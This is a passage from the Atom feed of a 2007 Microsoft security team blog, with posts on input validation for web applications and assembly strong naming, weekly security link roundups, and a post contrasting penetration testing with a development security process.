&lt;/a&gt;&lt;/td&gt;        &lt;td valign="top" width="200"&gt;The values of form elements in the HTTP request body&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td valign="top" width="200"&gt;&lt;a href="http://msdn2.microsoft.com/en-gb/library/aa711514(VS.71).aspx"&gt;Request.QueryString &lt;/a&gt;&lt;/td&gt;        &lt;td valign="top" width="200"&gt;The values of variables in the HTTP query string&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;The members of Request.ServerVariables are not completely user controlled, but some items in this collection take user input. This collection retrieves the values of predetermined environment variables and request header information. These are the variables which take in some degree of user input, presenting potential vulnerabilities:&lt;/p&gt;  &lt;table cellspacing="0" cellpadding="2" width="400" border="1"&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;td valign="top" width="200"&gt;&lt;a href="http://msdn2.microsoft.com/en-gb/library/aa711518(VS.71).aspx"&gt;Request.ServerVariables &lt;/a&gt;&lt;/td&gt;        &lt;td valign="top" width="200"&gt;The values of predetermined environment variables&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;&lt;a href="http://msdn2.microsoft.com/en-gb/library/aa711518(VS.71).aspx"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;table cellspacing="0" cellpadding="2" width="400" border="1"&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;td valign="top" width="400"&gt;         &lt;p&gt;&lt;a href="http://msdn2.microsoft.com/en-gb/library/aa711518(VS.71).aspx"&gt;Request.ServerVariables &lt;/a&gt;&lt;/p&gt;          &lt;p&gt;&amp;#xB7; HTTP_&amp;lt;HeaderName&amp;gt; &lt;/p&gt;          &lt;p&gt;&amp;#xB7; SERVER_NAME &lt;/p&gt;          &lt;p&gt;&amp;#xB7; URL &lt;/p&gt;          &lt;p&gt;&amp;#xB7; REMOTE_ADDR &lt;/p&gt;          &lt;p&gt;&amp;#xB7; REMOTE_HOST &lt;/p&gt;          &lt;p&gt;&amp;#xB7; REMOTE_USER&lt;/p&gt;       &lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;For example,&lt;b&gt; &lt;/b&gt;Request.ServerVariables (&amp;quot;HTTP_REFERER&amp;quot;)&lt;b&gt; &lt;/b&gt;is used many times by attackers for spoofing. Applications consuming this variable without validation may fall into a trap and process a malicious request that appears to originate from a trusted URL. &lt;/p&gt;  &lt;p&gt;&lt;b&gt;2. &lt;/b&gt;&lt;b&gt;Registry entries&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Many applications use the registry to store configuration and sensitive application data. Registry contents should always be treated as untrusted, user-modifiable data; the contents should always be validated before use. In fact, an application should perform input validation whenever data is being read or written to the registry.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;3. &lt;/b&gt;&lt;b&gt;Assemblies&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;Consider this simple scenario: One assembly, A, references and calls another assembly, B.&lt;/p&gt;  &lt;p&gt;How can you ensure that, at run time, assembly A calls the original assembly B and not a malicious Trojan horse assembly named as &amp;#x201C;B&amp;#x201D; by an attacker? You need a way to verify the assemblies that are called within the application. The answer to this problem is &amp;#x201C;Strong Naming&amp;#x201D;. If you assign a public key to your assembly, it is considered &amp;quot;strongly named.&amp;quot; Other assemblies that reference yours will use the &amp;#x201C;stronger&amp;#x201D; four-part name of your assembly. The strong name for assembly B would look like this:&lt;/p&gt;  &lt;p&gt;&lt;i&gt;&amp;lt;%@assembly name='B, Version=1.0.0.0, Culture=neutral,PublicKeyToken=2d7adc3047e7238d'%&amp;gt;&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;You should refer to assemblies using a &amp;quot;public key token,&amp;quot; not the full public key. This token is like a thumbprint of the public key. &lt;/p&gt;  &lt;p&gt;At load time, besides the normal signature checks designed to watch for unauthorized modification of the assembly's binaries, the loader will ensure that the public key in B.DLL matches the one recorded in A.DLL. This protects the links between the assemblies to ensure that B is B. An attacker now needs to discover the private key part of the RSA key pair that the original author used to sign the assemblies.&lt;/p&gt;  &lt;p&gt;&lt;i&gt;In the next post, I will talk about a very interesting way of exploiting a weakly coded web application and also we will explore different input validation strategies from a development perspective. &lt;/i&gt;&lt;/p&gt;  &lt;p&gt;So stay tuned&amp;#x2026;&amp;#x2026;&amp;#x2026;&lt;/p&gt;  &lt;p&gt;Cheers,    &lt;br /&gt;Anmol Malhotra    &lt;br /&gt;Security Consultant, ACE Services     &lt;br /&gt;&lt;a href="http://blogs.msdn.com/anmolm"&gt;http://blogs.msdn.com/anmolm&lt;/a&gt;&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5615639" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="security" scheme="http://blogs.msdn.com/hackers/archive/tags/security/default.aspx" /></entry><entry><title>Weekend Security Reading Round up Links - 10/20/07</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/20/weekend-security-reading-round-up-links-10-20-07.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/20/weekend-security-reading-round-up-links-10-20-07.aspx</id><published>2007-10-20T08:40:00Z</published><updated>2007-10-20T08:40:00Z</updated><content type="html">&lt;P&gt;&lt;A href="http://www.wired.com/gadgets/wireless/news/2007/10/iphone_dev_platform" target=_blank mce_href="http://www.wired.com/gadgets/wireless/news/2007/10/iphone_dev_platform"&gt;Inside the Matrix for Mobiles&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;A pretty interesting concept: hack together a platform for connecting the innards of over one hundred different types of cell phones and then connect them to servers allowing virtual access for testing purposes over the Internet.&amp;nbsp; &lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.wired.com/science/space/news/2007/10/nigerian_space" target=_blank mce_href="http://www.wired.com/science/space/news/2007/10/nigerian_space"&gt;Nigerian Space Program Isn't a 419 Scam&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;No, really.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.istartedsomething.com/20071019/eric-talk-demo-windows-7-minwin/" mce_href="http://www.istartedsomething.com/20071019/eric-talk-demo-windows-7-minwin/"&gt;Eric Traut talks (and demos) Windows 7 and MinWin&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;What do you guys think of the ASCII Windows Logo?&amp;nbsp; Stay tuned for more... ASCII goodness!&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.forbes.com/feeds/ap/2007/10/19/ap4241444.html" target=_blank mce_href="http://www.forbes.com/feeds/ap/2007/10/19/ap4241444.html"&gt;Comcast Blocks Some Internet Traffic&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;The interesting thing is how they're doing it, and to what.&amp;nbsp; Its not to all torrent traffic, they just don't want you to initially seed content or continue seeding after a download completes.&amp;nbsp; &lt;/P&gt;&lt;A href="http://www.msnbc.msn.com/id/21381022/?GT1=10450" target=_blank mce_href="http://www.msnbc.msn.com/id/21381022/?GT1=10450"&gt;Online poker cheating blamed on employee&lt;/A&gt; 
&lt;P&gt;Well so that's a non-good way of proving your point ...eh?&lt;/P&gt;
&lt;P&gt;&lt;A href="http://uk.news.yahoo.com/fc/hacking-hackers.html" target=_blank mce_href="http://uk.news.yahoo.com/fc/hacking-hackers.html"&gt;Yahoo's "hackerwire" news coverage&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/esiu/archive/2007/10/19/asp-net-validaterequest-does-not-mitigate-xss-completely.aspx" mce_href="http://blogs.msdn.com/esiu/archive/2007/10/19/asp-net-validaterequest-does-not-mitigate-xss-completely.aspx"&gt;ASP.NET ValidateRequest does not mitigate XSS completely&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;ACE Team's Eugene Siu has a brief post about why ValidateRequest isn't enough&lt;/P&gt;
&lt;P&gt;&lt;A href="http://xkcd.com/327/" target=_blank mce_href="http://xkcd.com/327/"&gt;Little Bobby Tables (from XKCD.com)&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;This is really hilarious... thanks to Spencer Low for forwarding it to me.&lt;/P&gt;
&lt;P&gt;&lt;A title="Mark's Blog" href="http://blogs.technet.com/markrussinovich/default.aspx" mce_href="http://blogs.technet.com/markrussinovich/default.aspx"&gt;Mark's Blog&lt;/A&gt; - Mark Russinovich's blog is required reading.&amp;nbsp; Its just amazing how he'll logically walk through common problems normal users just ignore or get frustrated by and finds the root cause of really common problems like &lt;A href="http://blogs.technet.com/markrussinovich/archive/2007/10/15/2178879.aspx" target=_blank mce_href="http://blogs.technet.com/markrussinovich/archive/2007/10/15/2178879.aspx"&gt;freezing gadgets&lt;/A&gt;, &lt;A href="http://blogs.technet.com/markrussinovich/archive/2007/10/01/2087460.aspx" target=_blank mce_href="http://blogs.technet.com/markrussinovich/archive/2007/10/01/2087460.aspx"&gt;files not copying&lt;/A&gt; or &lt;A href="http://blogs.technet.com/markrussinovich/archive/2007/08/07/1715181.aspx" target=_blank mce_href="http://blogs.technet.com/markrussinovich/archive/2007/08/07/1715181.aspx"&gt;folders not compressing&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;I've been reading Mark since High School when I used to pick up Windows NT Magazine, great stuff!&lt;/P&gt;
&lt;P&gt;-techjunkie&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5541200" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="security" scheme="http://blogs.msdn.com/hackers/archive/tags/security/default.aspx" /><category term="links" scheme="http://blogs.msdn.com/hackers/archive/tags/links/default.aspx" /></entry><entry><title>First Line of Defense for Web Applications – Part 1</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/12/first-line-of-defense-for-web-applications-part-1.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/12/first-line-of-defense-for-web-applications-part-1.aspx</id><published>2007-10-13T06:27:00Z</published><updated>2007-10-13T06:27:00Z</updated><content type="html">&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Hi folks, I am Anmol Malhotra and I work with ACE Services Team as a security consultant. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;There are lots of security principles which one should be aware of while developing software but at the heart of any secure application, there should be a first line of defense – and the mother of all defenses is:&amp;nbsp;&lt;STRONG&gt;Input Validation! &lt;/STRONG&gt;&lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;There is so much buzz around for how hackers hack and what offensive techniques do they use to break in, but at the core it is the mitigation strategy which matters to me and many of my customers. Lack of input validation is one of the _&lt;I&gt;core&lt;/I&gt;_ vulnerabilities for almost all web attacks. If we can get this thing right, we can save lot of $(s) down the road. This series of blogs will talk in detail about Input validation strategies for web applications. We will also take a look at some interesting top Validation bloopers. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Let’s start with some basics today on Input validation. &lt;/FONT&gt;
&lt;H3&gt;&lt;A&gt;&lt;FONT face=verdana,geneva&gt;Why Bother?&lt;/FONT&gt;&lt;/A&gt;&lt;/H3&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Would you let a stranger in your home? Probably not, unless he’s been thoroughly vetted and screened. But developers often let strange users inject data into their application without any sort of checking. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Sometimes developers assume no strangers will try to enter their house –they think that only their client software will communicate with their server software. This problem is not limited to thin web applications; in fact, it becomes even more severe in thick client designs. Wherever you give the user the ability to provide some input for processing, you also give him the ability to inject malicious data. Input validation is an application’s screening and vetting process that attempts to block as much malicious data as possible. For example, the application may limit input by length, type, or character. Without proper validation, malicious input will be processed by the application and can result in any number of security breaches. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Web applications designed today are heavily data driven and they exist because of a specific business need. Much of this data is provided by the users of the web application. Failure to validate this data in the application is asking for trouble. Consider an example of SQL injection attack, one of the key vulnerability required to achieve a successful SQL injection exploit is poor or no validation controls in the application. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Name any known web application attack and you will find that one of the core vulnerability is lack of input validation in the application itself.&amp;nbsp;&amp;nbsp;For example:&amp;nbsp;&lt;/FONT&gt; 
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;· Buffer overrun conditions &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;· Cross site scripting &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;· SQL injection &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;· XML injection &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;· LDAP injection &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;· Canonicalization issues &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;· Integer Overflow/Underflow &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;· Response Splitting &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;· Data Tampering &lt;/FONT&gt;
&lt;P&gt;&lt;IMG style="WIDTH: 402px; HEIGHT: 435px" height=435 src="http://blogs.msdn.com/photos/techjunkie/images/5436080/original.aspx" width=402 align=middle mce_src="http://blogs.msdn.com/photos/techjunkie/images/5436080/original.aspx"&gt; 
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;The list goes on and on. As it is clearly depicted from the list above many web application attacks exploit lack of input validation in the application. From an attackers prospective, this opens a huge door of opportunity to inject malicious data with the intent to make the application react in a way which is it is not supposed to be doing at all. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Cheers (stay tuned, more to come) &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;- Anmol Malhotra - &lt;/FONT&gt;&lt;A href="http://blogs.msdn.com/anmolm"&gt;&lt;FONT face=verdana,geneva color=#777777&gt;http://blogs.msdn.com/anmolm&lt;/FONT&gt;&lt;/A&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5436132" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="security" scheme="http://blogs.msdn.com/hackers/archive/tags/security/default.aspx" /></entry><entry><title>Weekend Security Reading Round up Links - 10/12/07</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/12/weekend-security-reading-round-up-links-10-12-07.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/12/weekend-security-reading-round-up-links-10-12-07.aspx</id><published>2007-10-13T05:55:00Z</published><updated>2007-10-13T05:55:00Z</updated><content type="html">&lt;P&gt;&lt;A href="http://www.infoworld.com/article/07/10/05/40OPsecadvise-datacentric-worldview_1.html" target=_blank mce_href="http://www.infoworld.com/article/07/10/05/40OPsecadvise-datacentric-worldview_1.html"&gt;&lt;FONT face=verdana,geneva color=#777777&gt;All about the data: IT security starts with a data-centric worldview&lt;/FONT&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;ACE Team's Roger A. Grimes has posted a great summary of the importance of having a data-centric way of looking at things for computer/information security to work in an IT environment.&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.microsoft.com/downloads/details.aspx?FamilyId=85F99A70-5DF5-4558-991F-8AEE8506833C&amp;amp;displaylang=en" target=_blank mce_href="http://www.microsoft.com/downloads/details.aspx?FamilyId=85F99A70-5DF5-4558-991F-8AEE8506833C&amp;amp;displaylang=en"&gt;&lt;FONT face=verdana,geneva color=#777777&gt;1st CTP of the SQL Server 2005 Driver for PHP available&lt;/FONT&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Bill Staples &lt;/FONT&gt;&lt;A href="http://www.news.com/underexposed/8300-13580_3-39-0.html?keyword=SQL+Server" mce_href="http://www.news.com/underexposed/8300-13580_3-39-0.html?keyword=SQL+Server"&gt;&lt;FONT face=verdana,geneva color=#777777&gt;announced the imminent release&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=verdana,geneva&gt; of the October 2007 Community Technology Preview of the SQL Server 2005 Driver for PHP which is now&amp;nbsp;&lt;/FONT&gt;&lt;A href="http://www.microsoft.com/downloads/details.aspx?FamilyId=85F99A70-5DF5-4558-991F-8AEE8506833C&amp;amp;displaylang=en" mce_href="http://www.microsoft.com/downloads/details.aspx?FamilyId=85F99A70-5DF5-4558-991F-8AEE8506833C&amp;amp;displaylang=en"&gt;&lt;FONT face=verdana,geneva color=#777777&gt;available for download&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=verdana,geneva&gt;.&amp;nbsp;&amp;nbsp; This is an early CTP release and designed&amp;nbsp;to gather feedback from the community to help refine the design of the API, the feature set, and the target scenarios. &lt;/FONT&gt;
&lt;P&gt;&lt;A href="http://searchsecurity.techtarget.com/columnItem/0,294698,sid14_gci1276038,00.html" target=_blank mce_href="http://searchsecurity.techtarget.com/columnItem/0,294698,sid14_gci1276038,00.html"&gt;&lt;FONT face=verdana,geneva color=#777777&gt;Inside MSRC: Microsoft SharePoint flaw explained&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=verdana,geneva&gt; &lt;/FONT&gt;
&lt;P&gt;&lt;A href="http://arstechnica.com/journals/microsoft.ars/2007/10/12/top-ten-least-known-features-of-windows-server-2008" mce_href="http://arstechnica.com/journals/microsoft.ars/2007/10/12/top-ten-least-known-features-of-windows-server-2008"&gt;&lt;FONT face=verdana,geneva color=#777777&gt;Top Ten least-known features of Windows Server 2008&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=verdana,geneva&gt; &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;WinRS (Windows Remote Shell) looks very interesting.&amp;nbsp; You can read more about it here: &lt;/FONT&gt;
&lt;P&gt;&lt;A title="First Look: WinRM &amp;amp; WinRS" href="http://redmondmag.com/columns/article.asp?editorialsid=2262" target=_blank mce_href="http://redmondmag.com/columns/article.asp?editorialsid=2262"&gt;&lt;FONT face=verdana,geneva color=#777777&gt;First Look: WinRM &amp;amp; WinRS&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=verdana,geneva&gt;: &lt;I&gt;Two new tools from Microosft that can drastically help server and workstation management&lt;/I&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/anmolm/archive/2007/10/13/how-to-prove-your-digital-identity.aspx"&gt;&lt;FONT face=verdana,geneva color=#777777&gt;How to prove your Digital Identity&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=verdana,geneva&gt; &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;ACE Team's Anmol Malhotra has a short post on his blog about digital identities.&amp;nbsp; Anmol's also contributed a great whitepaper on Input Validation for Application Security which we'll be syndicating on this blog very soon, thanks Anmol!&lt;/FONT&gt;&lt;/P&gt;&lt;A class="" href="http://blogs.msdn.com/anmolm/archive/2007/10/13/how-to-prove-your-digital-identity.aspx" target=_blank mce_href="http://blogs.msdn.com/anmolm/archive/2007/10/13/how-to-prove-your-digital-identity.aspx"&gt;&lt;/A&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5435825" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="security" scheme="http://blogs.msdn.com/hackers/archive/tags/security/default.aspx" /><category term="links" scheme="http://blogs.msdn.com/hackers/archive/tags/links/default.aspx" /></entry><entry><title>Securing the Gateway to Your Enterprise: Web Services</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/12/securing-the-gateway-to-your-enterprise-web-services.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/12/securing-the-gateway-to-your-enterprise-web-services.aspx</id><published>2007-10-13T05:04:00Z</published><updated>2007-10-13T05:04:00Z</updated><content type="html">&lt;P&gt;Eugene Siu, a Senior Security Consultant on the &lt;A href="http://blogs.msdn.com/ace_team" target=_blank&gt;&lt;FONT color=#777777&gt;ACE Team&lt;/FONT&gt;&lt;/A&gt; has just published a great article summarizing some of the pitfalls and issues around web services security.&amp;nbsp; You can read the &lt;A href="http://www.microsoft.com/technet/community/columns/sectip/st1007.mspx" target=_blank&gt;&lt;FONT color=#777777&gt;whole article&lt;/FONT&gt;&lt;/A&gt; here.&lt;/P&gt;
&lt;P&gt;-techjunkie&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5435331" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="security" scheme="http://blogs.msdn.com/hackers/archive/tags/security/default.aspx" /></entry><entry><title>Mark Curphey joins Microsoft's ACE Team </title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/08/mark-curphey-joins-microsoft-s-ace-team.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/08/mark-curphey-joins-microsoft-s-ace-team.aspx</id><published>2007-10-08T17:25:00Z</published><updated>2007-10-08T17:25:00Z</updated><content type="html">&lt;P&gt;&lt;FONT face=verdana,geneva&gt;We're super excited to have Mark aboard, Mark was formerly running FoundStone Consulting and also founded &lt;/FONT&gt;&lt;A class="" title=OWASP href="http://www.owasp.org/" mce_href="http://www.owasp.org"&gt;&lt;FONT face=verdana,geneva&gt;OWASP&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=verdana,geneva&gt;.&amp;nbsp; Here's &lt;/FONT&gt;&lt;A class="" href="http://blogs.msdn.com/ace_team/archive/2007/10/08/mark-curphey-joins-microsoft-s-ace-team.aspx" mce_href="http://blogs.msdn.com/ace_team/archive/2007/10/08/mark-curphey-joins-microsoft-s-ace-team.aspx"&gt;&lt;FONT face=verdana,geneva&gt;Mark's note about joining&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=verdana,geneva&gt; and you can also check out &lt;/FONT&gt;&lt;A class="" href="http://www.securitybuddha.com/" mce_href="http://www.securitybuddha.com"&gt;&lt;FONT face=verdana,geneva&gt;Mark's own blog&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=verdana,geneva&gt; here.&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;&amp;nbsp;-techjunkie&lt;/FONT&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5368249" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="hackers" scheme="http://blogs.msdn.com/hackers/archive/tags/hackers/default.aspx" /></entry><entry><title>Weekend Security Reading Round up Links - 10/5/07</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/05/weekend-security-reading-round-up-links-10-5-07.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/05/weekend-security-reading-round-up-links-10-5-07.aspx</id><published>2007-10-05T18:37:00Z</published><updated>2007-10-05T18:37:00Z</updated><content type="html">&lt;P&gt;&lt;A href="http://searchwindowssecurity.techtarget.com/tip/0,289483,sid45_gci1275094,00.html?track=sy201&amp;amp;asrc=RSS_RSS-23_201"&gt;&lt;FONT color=#777777&gt;What's hot in Microsoft security: White lists; Blue hats&lt;/FONT&gt;&lt;/A&gt;&lt;B&gt;&lt;/B&gt; 
&lt;P&gt;A discussion on Symantec’s proposal to whitelist everything on a Windows box as well as a summary of &lt;A href="http://blogs.technet.com/bluehat"&gt;&lt;FONT color=#777777&gt;Microsoft’s Bluehat&lt;/FONT&gt;&lt;/A&gt; 
&lt;P&gt;&lt;A href="http://www.bestsecuritytips.com/news+article.storyid+341.htm"&gt;&lt;FONT color=#777777&gt;10 Microsoft Security Links to Blow Your Mind&lt;/FONT&gt;&lt;/A&gt; 
&lt;P&gt;Pretty self explanatory, no? :) 
&lt;P&gt;&lt;A href="http://blogs.msdn.com/esiu/archive/2007/10/04/more-eyeballs-for-net-framework-code.aspx"&gt;&lt;FONT color=#777777&gt;More eyeballs for .Net Framework code&lt;/FONT&gt;&lt;/A&gt;&lt;B&gt;&lt;/B&gt; 
&lt;P&gt;Our own Eugene Siu talks about Microsoft’s decision to open up the .NET framework for review by developers under a shared source license 
&lt;P&gt;&lt;A href="http://blogs.msdn.com/ace_team/archive/2007/09/19/asp-net-file-upload-how-to-prevent-network-clogging.aspx"&gt;&lt;FONT color=#777777&gt;ASP.NET File Upload: How to prevent network clogging&lt;/FONT&gt;&lt;/A&gt; 
&lt;P&gt;Varun from ACE has posted a great little post developers accepting file uploads should take a look at 
&lt;P&gt;&lt;A href="http://channel9.msdn.com/ShowPost.aspx?PostID=345524#345524"&gt;&lt;FONT color=#777777&gt;ARCast.TV - Security Chat from Slovenia&lt;/FONT&gt;&lt;/A&gt; 
&lt;P&gt;Channel 9 has a great video conversation on security recorded in Slovenia earlier in the year but just now posted up 
&lt;P&gt;&lt;A href="http://blogs.msdn.com/shawnfa/archive/tags/Silverlight/default.aspx"&gt;&lt;FONT color=#777777&gt;Silverlight Security Series&lt;/FONT&gt;&lt;/A&gt; 
&lt;P&gt;Shawn Farkas has a great series of posts on Silverlight security starting from &lt;A href="http://blogs.msdn.com/shawnfa/archive/2007/05/09/the-silverlight-security-model.aspx"&gt;&lt;FONT color=#777777&gt;part I&lt;/FONT&gt;&lt;/A&gt;, then going on to &lt;A href="http://blogs.msdn.com/shawnfa/archive/2007/05/10/silverlight-security-ii-what-makes-a-method-critical.aspx"&gt;&lt;FONT color=#777777&gt;part II&lt;/FONT&gt;&lt;/A&gt; and finally, &lt;A href="http://blogs.msdn.com/shawnfa/archive/2007/05/11/silverlight-security-iii-inheritance.aspx"&gt;&lt;FONT color=#777777&gt;part III&lt;/FONT&gt;&lt;/A&gt;! And of course, the obligatory &lt;A href="http://blogs.msdn.com/shawnfa/archive/2007/05/14/silverlight-security-cheat-sheet.aspx"&gt;&lt;FONT color=#777777&gt;cheatsheet&lt;/FONT&gt;&lt;/A&gt; as well :)&lt;/P&gt;
&lt;P&gt;&lt;EM&gt;Updated: Removed some of the HTML gunk, oops.&lt;/EM&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5298439" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="security" scheme="http://blogs.msdn.com/hackers/archive/tags/security/default.aspx" /><category term="links" scheme="http://blogs.msdn.com/hackers/archive/tags/links/default.aspx" /></entry><entry><title>The difference between pentesting and an application development security process Part I</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/04/the-difference-between-pentesting-and-an-application-development-security-process-part-i.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/04/the-difference-between-pentesting-and-an-application-development-security-process-part-i.aspx</id><published>2007-10-05T05:13:00Z</published><updated>2007-10-05T05:13:00Z</updated><content type="html">&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Many times when we’re speaking with a customer or reviewing material from security vendors, the inclination we’ve seen is to rely on penetration testing or code analysis/scanning tools and other solutions to make up for the fact that there is no comprehensive security process in place during development.&amp;nbsp; Microsoft IT runs thousands of applications in our data centers and we’ve realized over the years that even if you spend large amounts of resources (both time and dollars) on penetration testing or automated scanning tools or other activities touted by some security vendors in a vacuum, you will never get the results you need.&amp;nbsp; This is simply because you’re addressing a symptom and not the root cause of the issue.&amp;nbsp; The root cause, of course, being that developers are writing code and deploying applications without following a standardized security process that enforces industry best practices when it comes to security code quality.&amp;nbsp; What we’ve also learned is that developing and maintaining a solid application development security process is hard to do: it takes time, effort, support from senior leadership and a constant willingness to test assumptions and continuously improve what we’re doing.&amp;nbsp; Cost is also a significant factor, something I intend to blog about in some more depth separately.&amp;nbsp; &lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;So what kind of &lt;A class="" title=SDL-IT href="http://blogs.msdn.com/threatmodeling/archive/2007/08/27/threat-modeling-sdl-it.aspx" mce_href="http://blogs.msdn.com/threatmodeling/archive/2007/08/27/threat-modeling-sdl-it.aspx"&gt;security process&lt;/A&gt; do you need?&amp;nbsp; It used to be that a lot of the security processes organizations developed and followed were based on their specific vertical or budgetary constraints, so for example the banking industry tended to do the same thing or the retail industry might do things in a certain way.&amp;nbsp; What’s happened over the last several years however, and no doubt this has been significantly impacted by nearly everyone doing some kind of business online, is that processes, needs and requirements have started to merge.&amp;nbsp; To a significant degree, it no longer makes any difference if you’re in banking or retail, you still need to protect consumer data from exposure just as much.&amp;nbsp; &lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;More to come in part II.&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face=Verdana&gt;-techjunkie&lt;/FONT&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5284867" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="security" scheme="http://blogs.msdn.com/hackers/archive/tags/security/default.aspx" /><category term="security process" scheme="http://blogs.msdn.com/hackers/archive/tags/security+process/default.aspx" /></entry></feed>